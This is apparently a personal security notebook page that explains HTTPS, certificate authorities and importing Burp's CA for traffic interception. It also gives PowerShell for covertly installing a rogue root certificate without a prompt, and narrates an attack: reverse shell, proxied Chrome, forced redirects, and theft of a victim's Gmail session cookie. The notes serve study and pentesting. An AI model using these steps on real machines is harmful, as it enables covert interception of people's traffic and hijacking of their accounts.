## Intro
HTTPS works by encrypting the client-server communication using SSL/TLS. Transport Layer Security (TLS ) is the successor to the now-deprecated Secure Sockets Layer (SSL), and we're currently on TLS version 1.3 which was defined in August 2018.
TLS uses both asymmetric and symmetric encryption. The former to establish a secure session between a client and a server, and the latter to exchange data within the secured session.
A secure communication between a client and a server over HTTPS requires the client to know the public key of the server which it can then use to generate a unique session key with the client's private key.
So when I as a client (or my browser technically) wants to start a session with `gmail.com`, it'll simply take the public-key the server gives and use that right?
Wrong.
Because what happens if Google, or the DNS servers that point to `gmail.com`, get compromised? Then an attacker could start their own webserver, make it look like gmail.com, *create their own public-key and serve that to me instead*.
I (the client) think this public-key belongs to `gmail.com`, so I naively use it to encrypt my session, which can then get decrypted by the attacker (because the whole point of HTTPS (Hyper Text *Transfer* Protocol Secured) is just to transport the data securely, but once it get's to the destination (the attacker's server) it get's decrypted.
So the problem here is how do I as a client know for certain that the public-key the server gives me is in fact the public-key that belongs to that domain?
This is where the Certificate Authorities (CAs) come in - they are at the root of the web of trust, which is why they are also called Root Certificate Authorities.
Everybody looks up to these guys and trusts them. The CA's have their own internal tables stating which public-keys belong to which domains, and the CAs then give their stamp of approval.
More specifically, the CA's have their own public and private keys, and they use their private key to sign the `domain:public-key` pairs in their tables.
### Server Authentication
This stamp of approval is the certificate the server sends me (the client) when I want to establish a secure connection, and it is supposed prove the server's identity to the client.
Let's go through two examples:
**Uncompromised**
I browse to `gmail.com` and my browser gets directed to IP address 1.2.3.4. The server sends me a certificate that says this:
* I am Gmail. Trust me.
* My public-key is `AAA`. Feel free to use this to encrypt your data with me.
* Oh and DigiCert have vouched for me - here is their sign of approval, `BBB`, which is *my public-key* encrypted with *their* private-key. Feel free to decrypt it with *their* public-key (which you have access to) and you'll see that you end up getting *my* public-key.
I then head to DigiCert and use their public-key to decrypt the `BBB` sign of approval. Indeed I see it says `gmail.com:AAA`.
I trust DigiCert (they are one of the root CAs), and if they say the two match that's good enough for me! I then use Gmail's `AAA` public-key to encrypt my data.
**Compromised**
I browse to `gmail.com` and my browser gets directed to IP 2.2.2.2. The server sends me a certificate that says this:
* I am Gmail. Trust me.
* My public-key is `CCC`. Feel free to use this to encrypt your data with me.
* Oh and I've gone ahead and approved by own public-key - here is my stamp of approval `DDD`, which you'll see proves that my public-key is `CCC`.
I check my list of Trusted CAs but don't see anything for `DDD`. That's odd. The only word I have that this server is Gmail is... the server. Sounds phishy to me, so I'll not continue my session with him.
### Client Authentication
In the above scenario (which is the default), the server proves its identity to the client (browser).
But it is also possible to add additional security by also enabling client-to-server authentication, where the client needs to prove its identity to the server.
In order to do that, the client has to provide the server with a certificate - which is the client's public-key signed with the private key of a CA the server trusts.
Here’s a [good article](https://blog.codeship.com/how-to-set-up-mutual-tls-authentication/) that explains how to set it up.
See also [[HackTheBox - LaCasaDePapel#Creating the client certificate]]
## Creating Certificates
[Instructions](https://deliciousbrains.com/ssl-certificate-authority-for-local-https-development/)
Create self-signed certificate:
```bash
openssl genrsa -out myCA.key 4096
openssl req -x509 -new -nodes -key myCA.key -sha256 -days 365 -out myCA.pem
```
Create domain-specific certificates:
```bash
openssl genrsa -out www.bbc.com.key 4096
openssl req -new -key www.bbc.com.key -out www.bbc.com.csr
```
Sign domain certificate with CA:
```bash
openssl x509 -req -in www.bbc.com.csr -CA ../ca/myCA.pem -CAkey ../ca/myCA.key -set_serial 101 -days 365 -outform PEM -out www.bbc.com.crt
```
## Importing Certificates
If we just proxy HTTPS traffic through Burp we'll get this sort of error:
![[Pasted image 20220702181254.png]]
And on Burp's end we'll see this error message in the dashboard:
```text
The client failed to negotiate a tls connection google.com:443 Remote host terminated the handshake
```
When Burp tries to proxy and decrypt HTTP traffic, it will first see what the domain is that is coming through - let's say `www.google.com` - and create a fresh certificate just for that domain - signed by its own CA, called `PortSwigger CA`.
But the whole point of TLS is to prevent others from creating certificates for domains they don't own, and indeed the client (Chrome in the above example) sees the certificate for `www.google.com` but that it's signed with Burp's CA:
![[Pasted image 20220702183534.png]]
From Chrome's perspective, a random dude named Burp signed a certificate with `www.google.com` on it, which any random dude can do. What makes the real `www.google.com`'s certificate legit is that a root CA (like DigiCert) verified it. But in this case Burp's CA - `PortSwigger CA` is a completely unknown entity that shouldn't be trusted, and so it displays the error alert.
To successfully proxy the traffic, we need to have Chrome treat `PortSwigger CA` as a trusted CA which will then make Chrome accept any certificates signed by it.
This can be done by importing the CA directly into the browser - [see here for details](https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate).
Browsers make proxying easy because they give us an option to define a proxy and add CAs, like we saw above.
But what if we want to use Burp to proxy and decrypt HTTPS traffic originating from a client that doesn't give us these options - such as a thick client (like a [Wacom tablet](https://robertheaton.com/2020/02/05/wacom-drawing-tablets-track-name-of-every-application-you-open/)) or a mobile app?
In that case what we can do is import Burp's CA as a root CA to the operating system the client is running on. The program will then import the operating system's CAs - including `PortSwigger CA` which we just imported - and accept Burp's newly generated certificates.
It should be noted that it's possible for the client to also not import the global CAs if it has its own hard-coded in it - this is known as SSL Pinning. In that case we won't be able to decrypt its HTTPS traffic. The plus side is that it seems SSL Pinning is not encouraged because hard-coding certificates also means that the client is stuck with that certificate and if the owners need to change certificates for whatever reason, the client won't be able to contact them anymore.
Let's look at how CAs work on different operating systems.
### Windows
Windows stores certificates separately for the current user and for the machine as a whole, in what is known as Certificate Stores.
The user's certificate store can be accessed through `certmgr.msc`:
![[Pasted image 20220702173629.png]]
And the machine's certificate store can be accessed through `crtlm.msc` (requires admin):
![[Pasted image 20220702173653.png]]
From an attacker's perspective, if we're able to import one of our own certificates as a root CA on the victim, we can then impersonate any website/entity that we want, so long as we can redirect traffic to our proxy server (e.g. by arp spoofing or by tampering with DNS, or tampering with proxy settings). Just like what Burp does.
To import new certificates open *Internet Options* > *Content* > *Certificates*. We'll want to add the CA as a Root CA, so either:
- Head to the *Trusted Root Certification Authorities* tab and start the Import process.
- Start the Import process and select the *Trusted Root Certification Authorities* store after selecting the CA from the file explorer.
You can also import certificates through PowerShell:
```powershell
Import-Certificate -FilePath .\burpCert.crt -CertStoreLocation Cert:\CurrentUser\Root\
```
To remove certificates, first find it:
```bash
PS C:\Users\Maor\Documents> Get-ChildItem -Recurse Cert: | where -Property DnsNameList -Like "*PortSwigger*"
PSParentPath: Microsoft.PowerShell.Security\Certificate::CurrentUser\Root
Thumbprint Subject
---------- -------
A9684AC6E5E2D6F5EC98216EB5B9354A769DE850 CN=PortSwigger CA, OU=PortSwigger CA, O=PortSwigger, L=PortSwigger, S=PortSwigger, C=PortSwigger
```
Then remove it:
```powershell
Get-ChildItem -Recurse Cert: | where -Property DnsNameList -Like "*PortSwigger*" | Remove-Item
```
Note that both importing and deleting privileged CA certificates (either in `CurrentUser\Root` or `LocalMachine`) requires admin rights.
I was hoping it could all be done silently through a reverse shell, but it seems Microsoft thought of that and even through an admin PowerShell session there is a pop-up that needs to be clicked on to complete the import/removal process:
![[Pasted image 20220702194220.png]]
#### Covertly Installing Root Certificate
But then again, Microsoft makes mistakes. Turns out it is possible to add a CA to the root store with no prompt ([source](https://social.technet.microsoft.com/Forums/ie/en-US/aac8cfcd-6bd2-423f-895b-a6612459eb16/importcertificate-without-confirmation-ignore-security-warnings?forum=winserverpowershell)). For some reason it doesn't work with `CurrentUser\Root` but it does with `LocalMachine\Root` which is weird cause I'd assume the latter is more privileged than the former, as it adds the CA to the root store for ALL users on the machine.
(The following requires the full path)
```powershell
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("C:\Users\Maor\Documents\burpcert.crt")
$rootStore = Get-Item Cert:\LocalMachine\Root\
$rootStore.Open("ReadWrite")
$rootStore.Add($cert)
$rootStore.Close()
```
To silently remove it:
```powershell
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2("C:\Users\Maor\Documents\burpcert.crt") # Requires full path
$rootStore = Get-Item Cert:\LocalMachine\Root\
$rootStore.Open("ReadWrite")
$rootStore.Remove($cert)
$rootStore.Close()
```
Once this is installed, you can [[Windows - Covertly Controlling Settings#Network and Internet#HTTP Proxy Server|covertly enable the HTTP proxy]] to redirect the target's traffic through you.
[[2023-04-10_Mon]] - [This post](https://sensepost.com/blog/2023/jumping-into-socks/) shows the following command to install a user certificate. May be relevant.
```powershell
New-SelfSignedCertificate -Type Custom -Subject "CN=MySslSocketCertificate" -KeyAlgorithm RSA -KeyLength 2048 -CertStoreLocation "Cert:\CurrentUser\My"
```
#### Example
I got a reverse shell on Steve Steveington's machine, managed to escalate privileges to Admin and covertly install Burp's CA certificate as a root CA on his machine using the above technique.
I check which processes are running and see Chrome:
```powershell
get-process
...
513 53 15352 37468 1.14 1964 1 chrome
1468 55 92096 176316 4.16 2544 1 chrome
215 14 7124 17964 0.05 11468 1 chrome
...
```
I kill the current Chrome process and start it up again with the `--proxy-server` flag to have it proxy all its traffic to Burp running on my Kali machine:
```bash
Start-Process chrome -ArgumentList '--proxy-server="http://192.168.30.121:8080"'
```
Thanks to the root CA installation, Steve's decrypted HTTPS traffic hastily scrolls down my window, and he seems to be reading an article on robertheaton.com.
I know he has a Gmail address so he's most likely using Chrome already connected to his Gmail account. I want to read his emails to make sure he isn't up to no good.
I turn on Burp's Intercept feature and catch some random GET requests, but also have Burp intercept their responses. Before forwarding these responses back to Steve, I change them all to the following:
```text
HTTP/1.1 301 Moved Permanently
Location: http://gmail.com
```
This causes his browser to reach out to `gmail.com`, and because he has already authenticated to it, then the requests also contain his session cookie!
I grab the cookie, inject it into my own Gmail session and lay back as his inbox loads.
***
## Footnotes
Resources
* [MIT 6.858 Computer Systems Security, Fall 2014 - 14. SSL and HTTPS](https://www.youtube.com/watch?v=q1OF\_0ICt9A)
* [IppSec - Securing Vendor Webapps - Certificates Creation](https://www.youtube.com/watch?v=2OWtEymBQfA\&t=2413s)
* [TheNiceWeb - HTTP Secure, Part 2](https://theniceweb.com/archives/414#:\~:text=The%20algorithm%20is%20based%20on,The%20answer%20is%20NO.)
- [[Person - Robert Heaton]]
- [How does HTTPS actually work?](https://robertheaton.com/2014/03/27/how-does-https-actually-work/)
- [HTTPS in the real world](https://robertheaton.com/2018/11/28/https-in-the-real-world/)